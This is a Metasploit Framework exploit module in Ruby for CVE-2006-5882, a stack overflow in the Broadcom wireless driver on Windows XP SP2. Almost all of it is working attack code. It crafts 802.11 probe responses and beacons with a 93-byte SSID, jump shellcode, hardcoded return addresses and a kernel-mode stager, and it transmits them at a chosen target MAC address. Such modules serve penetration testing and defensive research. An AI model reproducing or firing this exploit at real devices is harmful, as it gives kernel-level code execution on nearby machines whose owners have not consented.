##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Lorcon2
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Broadcom Wireless Driver Probe Response SSID Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Broadcom Wireless driver
			that allows remote code execution in kernel mode by sending a 802.11 probe
			response that contains a long SSID. The target MAC address must
			be provided to use this exploit. The two cards tested fell into the
			00:14:a5:06:XX:XX and 00:14:a4:2a:XX:XX ranges.

			This module depends on the Lorcon2 library and only works on the Linux platform
			with a supported wireless card. Please see the Ruby Lorcon2 documentation 
			(external/ruby-lorcon/README) for more information.			
			},
			
			'Author'         => 
				[
					'Chris Eagle',	# initial discovery
					'Johnny Cache <johnnycsh [at] 802.11mercenary.net>', # the man with the plan
					'skape', # windows kernel ninjitsu and debugging
					'hdm' # porting the C version to ruby
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2006-5882'],
					['OSVDB', '30294'],
					['URL', 'http://projects.info-pull.com/mokb/MOKB-11-11-2006.html'],
				],
			'Privileged'     => true,
						
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Payload'        =>
				{
					'Space'    => 500
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
					[ 'Windows XP SP2 (5.1.2600.2122), bcmwl5.sys 3.50.21.10',
						{
							'Ret'      => 0x8066662c, # jmp edi
							'Platform' => 'win',
							'Payload'  => 
							{
								'ExtendedOptions' => 
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dbb27,										
										
								}
							}
						} 
					],
					
					# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
					[ 'Windows XP SP2 (5.1.2600.2180), bcmwl5.sys 3.50.21.10',
						{
							'Ret'      => 0x804f16eb, # jmp edi
							'Platform' => 'win',
							'Payload'  => 
							{
								'ExtendedOptions' => 
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dc0c7,
								}
							}
						} 
					]					
				],

			'DefaultTarget' => 0
			))
			
		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
				OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
			], self.class)
	end

	def exploit
		open_wifi
		
		stime = Time.now.to_i
		
		print_status("Sending beacons and responses for #{datastore['RUNTIME']} seconds...")
		
		while (stime + datastore['RUNTIME'].to_i > Time.now.to_i) 
			
			select(nil, nil, nil, 0.02)
			wifi.write(create_response)

			select(nil, nil, nil, 0.01)
			wifi.write(create_beacon)
			
			break if session_created?
			
		end
		
		print_status("Finished sending frames...")
	end
	
	def create_beacon
		src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
		dst = eton('FF:FF:FF:FF:FF:FF')
		seq = [Time.now.to_i % 4096].pack('n')
	
		blob = create_frame
		blob[0,1] = 0x80.chr
		blob[4,6] = dst
		blob[10,6] = src
		blob[16,6] = src
		blob[22,2] = seq
		
		blob
	end
	
	def create_response
		src = eton('90:e9:75:00:00:00') #relative jmp + 0x75 = stage2 HaHa. Tuned for ssid len = 93
		dst = eton(datastore['ADDR_DST'])
		seq = [Time.now.to_i % 256].pack('n')
	
		blob = create_frame
		blob[0,1] = 0x50.chr		
		blob[4,6] = dst
		blob[10,6] = src
		blob[16,6] = src # bssid field, good idea to set to src. 
		blob[22,2] = seq
		
		blob
	end

	def create_frame
		"\x80" +                      # type/subtype
		"\x00" +                      # flags
		"\x00\x00" +                  # duration  
		eton(datastore['ADDR_DST']) + # dst
		"\x58\x58\x58\x58\x58\x58" +  # src
		"\x58\x58\x58\x58\x58\x58" +  # bssid
		"\x70\xed" +                  # sequence number
		
		#
		# fixed parameters
		#
		
		# timestamp value
		rand_text_alphanumeric(8) + 
		"\x64\x00" +                  # beacon interval
		"\x11\x04" +                  # capability flags
		
		#
		# tagged parameters
		#
		
		# ssid tag
		"\x00" + # tag: SSID parameter set
		"\x5d" + # len: length is 93 bytes
		
		# jump into the payload
		"\x89\xf9" +                 # mov edi, ecx
		"\x81\xc1\x7b\x00\x00\x00" + # add ecx, 0x7b
		"\xff\xe1" +                 # jmp ecx
		
		# padding
		rand_text_alphanumeric(79) + 
		
		# return address
		[target.ret].pack('V') +
		
		# vendor specific tag
		"\xdd" + # wpa
		"\xff" + # big as we can make it
		
		# the kernel-mode stager
		payload.encoded
	end
	
end